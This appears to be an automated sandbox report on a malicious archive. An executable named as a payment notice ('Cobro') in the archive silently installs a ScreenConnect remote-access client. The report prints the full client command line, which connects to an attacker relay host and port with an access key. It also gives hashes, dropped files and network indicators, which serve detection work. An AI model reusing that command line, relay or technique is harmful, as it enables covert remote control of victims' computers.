File name:

Cobro_12740962582188514036504790465810654527510112.rar

Full analysis: https://app.any.run/tasks/e312cdf2-3bf9-4829-82c2-d14a70b42226
Verdict: Malicious activity
Analysis date: April 29, 2025, 21:32:13
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
connectwise
rmm-tool
screenconnect
remote
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

F3A73715EE534B29AFD6D6912268B261

SHA1:

BEE7936102FADE473A8B3984E4D975CC59F7EB8E

SHA256:

BFB375DC9BDD9CB6AFF16411A305ED638B379BC850D001575BD8268F1B76E3C1

SSDEEP:

98304:ERqRQxm789Te58Yh135pbX5RvxnLFMirMas0U4tSmJ+PgnW0FpjHKMoA7scTMGq9:v7C+6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • SCREENCONNECT has been detected (SURICATA)

      • ScreenConnect.ClientService.exe (PID: 7652)
  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 7336)
      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
    • Executable content was dropped or overwritten

      • rundll32.exe (PID: 8108)
    • Executes as Windows Service

      • VSSVC.exe (PID: 8168)
      • ScreenConnect.ClientService.exe (PID: 7652)
    • Screenconnect has been detected

      • ScreenConnect.ClientService.exe (PID: 7652)
    • Connects to unusual port

      • ScreenConnect.ClientService.exe (PID: 7652)
    • Potential Corporate Privacy Violation

      • ScreenConnect.ClientService.exe (PID: 7652)
  • INFO

    • Reads the computer name

      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
      • msiexec.exe (PID: 7956)
      • msiexec.exe (PID: 8068)
    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 7336)
      • msiexec.exe (PID: 7916)
      • msiexec.exe (PID: 7956)
    • Checks supported languages

      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
      • msiexec.exe (PID: 7956)
      • msiexec.exe (PID: 8068)
    • Create files in a temporary directory

      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
      • rundll32.exe (PID: 8108)
    • Reads the machine GUID from the registry

      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
    • Process checks computer location settings

      • Cobro_12740962582188514036504790465810654527510112.exe (PID: 7844)
    • CONNECTWISE has been detected

      • msiexec.exe (PID: 7916)
    • Manages system restore points

      • SrTasks.exe (PID: 7304)
    • Manual execution by a user

      • Taskmgr.exe (PID: 7856)
      • Taskmgr.exe (PID: 7968)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)

EXIF

ZIP

FileVersion: RAR v5
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
151
Monitored processes
19
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe sppextcomobj.exe no specs slui.exe no specs cobro_12740962582188514036504790465810654527510112.exe no specs cobro_12740962582188514036504790465810654527510112.exe msiexec.exe msiexec.exe msiexec.exe no specs rundll32.exe vssvc.exe no specs srtasks.exe no specs conhost.exe no specs msiexec.exe no specs msiexec.exe no specs #SCREENCONNECT screenconnect.clientservice.exe screenconnect.windowsclient.exe no specs screenconnect.windowsclient.exe no specs taskmgr.exe no specs taskmgr.exe

Process information

PID
CMD
Path
Indicators
Parent process
5328"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.WindowsClient.exe" "RunRole" "1240db3d-44eb-4160-8f33-513a2f210fa8" "User"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.WindowsClient.exeScreenConnect.ClientService.exe
User:
admin
Company:
ScreenConnect Software
Integrity Level:
MEDIUM
Description:
ScreenConnect Client
Version:
24.3.7.9067
Modules
Images
c:\program files (x86)\screenconnect client (3ea6a26a99772f00)\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
6576"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.WindowsClient.exe" "RunRole" "7db8366d-7a05-40a1-a0d3-fa536351dd81" "System"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.WindowsClient.exeScreenConnect.ClientService.exe
User:
SYSTEM
Company:
ScreenConnect Software
Integrity Level:
SYSTEM
Description:
ScreenConnect Client
Exit code:
0
Version:
24.3.7.9067
Modules
Images
c:\program files (x86)\screenconnect client (3ea6a26a99772f00)\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
7304C:\WINDOWS\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:11C:\Windows\System32\SrTasks.exemsiexec.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Windows System Protection background tasks.
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\srtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7336"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\Cobro_12740962582188514036504790465810654527510112.rarC:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
7448C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exesvchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7480"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exeSppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7528\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exeSrTasks.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7600C:\Windows\syswow64\MsiExec.exe -Embedding B563FA1FFE0D13AE7273E64500554285 E Global\MSI0000C:\Windows\SysWOW64\msiexec.exemsiexec.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
7652"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.freshvenus.space&p=8041&s=14ea3a25-b7c5-48e1-a06c-d9b8fc9518b7&k=BgIAAACkAABSU0ExAAgAAAEAAQCZevVq3oziQGCi0j0%2bQTm%2bTJYNpWoPWYr%2b7Q%2fEtd%2f5KTEosAcBUN5mSZD0TwSUwBtM1I%2fkmN20eTcTlMTuisISh8SL43iKj08NXVNALPX%2bER2NZjUjb5am8fe3IBhNc%2fMoh6dKsk0myHUlFzjT5DvaO7iX54ahG9vFwPQEzbUqaT28adcTl61WD1AFYjdxwxKFhOMVRYYn5C10MP5SwkNIVyKZ%2bCgOHxKjyz374KpkQP2OhpbexAMiqNy7KcZnECX2WfWcisA3InzGHb%2bueHM9SIxkC7UYYpE9auFy1Yj7AOi1g%2bn5fTS0MhSG2oXpOpzSJhYu1mHM%2bgp77sBxWDi0"C:\Program Files (x86)\ScreenConnect Client (3ea6a26a99772f00)\ScreenConnect.ClientService.exe
services.exe
User:
SYSTEM
Integrity Level:
SYSTEM
Version:
24.3.7.9067
Modules
Images
c:\program files (x86)\screenconnect client (3ea6a26a99772f00)\screenconnect.clientservice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\shlwapi.dll
7700C:\Windows\syswow64\MsiExec.exe -Embedding C2B3D1C6EB3622B58A837FB5B2E10E98C:\Windows\SysWOW64\msiexec.exemsiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
Total events
39 677
Read events
39 382
Write events
277
Delete events
18

Modification events

(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Cobro_12740962582188514036504790465810654527510112.rar
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(7336) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(7956) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SystemRestore
Operation:writeName:SrCreateRp (Enter)
Value:
4800000000000000013BF4394EB9DB01141F0000D81F0000D50700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
21
Suspicious files
20
Text files
11
Unknown types
0

Dropped files

PID
Process
Filename
Type
7844Cobro_12740962582188514036504790465810654527510112.exeC:\Users\admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\3ea6a26a99772f00\ScreenConnect.ClientSetup.msi
MD5:
SHA256:
7956msiexec.exeC:\System Volume Information\SPP\metadata-2
MD5:
SHA256:
7956msiexec.exeC:\Windows\Installer\1137e5.msi
MD5:
SHA256:
8108rundll32.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmp-\Microsoft.Deployment.WindowsInstaller.dllexecutable
MD5:5EF88919012E4A3D8A1E2955DC8C8D81
SHA256:3E54286E348EBD3D70EAED8174CCA500455C3E098CDD1FCCB167BC43D93DB29D
8108rundll32.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmp-\ScreenConnect.Core.dllexecutable
MD5:14E7489FFEBBB5A2EA500F796D881AD9
SHA256:A2E9752DE49D18E885CBD61B29905983D44B4BC0379A244BFABDAA3188C01F0A
8108rundll32.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmp-\ScreenConnect.InstallerActions.dllexecutable
MD5:73A24164D8408254B77F3A2C57A22AB4
SHA256:D727A640723D192AA3ECE213A173381682041CB28D8BD71781524DBAE3DDBF62
7956msiexec.exeC:\Windows\Installer\MSI3AB5.tmpexecutable
MD5:BA84DD4E0C1408828CCC1DE09F585EDA
SHA256:3CFF4AC91288A0FF0C13278E73B282A64E83D089C5A61A45D483194AB336B852
8108rundll32.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmp-\Microsoft.Deployment.Compression.dllexecutable
MD5:4717BCC62EB45D12FFBED3A35BA20E25
SHA256:E04DE7988A2A39931831977FA22D2A4C39CF3F70211B77B618CAE9243170F1A7
8108rundll32.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmp-\CustomAction.configxml
MD5:6F52EBEA639FD7CEFCA18D9E5272463E
SHA256:7027B69AB6EBC9F3F7D2F6C800793FDE2A057B76010D8CFD831CF440371B2B23
8108rundll32.exeC:\Users\admin\AppData\Local\Temp\MSIF2BE.tmp-\Microsoft.Deployment.Compression.Cab.dllexecutable
MD5:77BE59B3DDEF06F08CAA53F0911608A5
SHA256:9D32032109FFC217B7DC49390BD01A067A49883843459356EBFB4D29BA696BF8
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
29
DNS requests
15
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
864
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
864
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
whitelisted
2104
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2.16.164.120:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
2.16.164.120:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
4
System
192.168.100.255:138
whitelisted
6544
svchost.exe
40.126.31.67:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.104.136.2
  • 4.231.128.59
whitelisted
google.com
  • 142.250.185.110
whitelisted
crl.microsoft.com
  • 2.16.164.120
  • 2.16.164.49
whitelisted
www.microsoft.com
  • 95.101.149.131
  • 23.35.229.160
whitelisted
login.live.com
  • 40.126.31.67
  • 40.126.31.73
  • 40.126.31.69
  • 20.190.159.75
  • 20.190.159.0
  • 40.126.31.2
  • 20.190.159.130
  • 40.126.31.3
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
slscr.update.microsoft.com
  • 4.245.163.56
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted
go.microsoft.com
  • 23.213.166.81
whitelisted
relay.freshvenus.space
  • 199.230.105.21
unknown

Threats

PID
Process
Class
Message
7652
ScreenConnect.ClientService.exe
Potential Corporate Privacy Violation
REMOTE [ANY.RUN] ScreenConnect Server Response
No debug info